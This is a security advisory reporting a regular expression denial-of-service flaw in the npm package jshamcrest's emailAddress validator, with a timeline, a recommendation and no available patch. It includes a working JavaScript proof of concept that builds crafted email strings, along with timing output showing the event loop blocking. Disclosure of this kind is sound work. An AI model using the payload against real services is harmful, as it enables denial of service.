jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.

Affected: npm: jshamcrest

The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.

## Proof of concept

```js var js = require('jshamcrest') var emailAddress = new js.JsHamcrest.Matchers.emailAddress();

var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }

return result; }

for (i=1;i<=10000000;i=i+1) { console.log("COUNT: " + i); var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{' console.log("LENGTH: " + str.length); var start = process.hrtime(); emailAddress.matches(str)

var end = process.hrtime(start); console.log(end); } ```

### Results It takes about 116 characters to get a 1.6 second event loop block. ``` [ 1, 633084590 ] COUNT: 51 LENGTH: 116 ```

# Timeline - October 25, 2015 - Vulnerability Identified - October 25, 2015 - Maintainers notified (no response)

## Recommendation

The `jshamcrest` package currently has no patched versions available.

At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).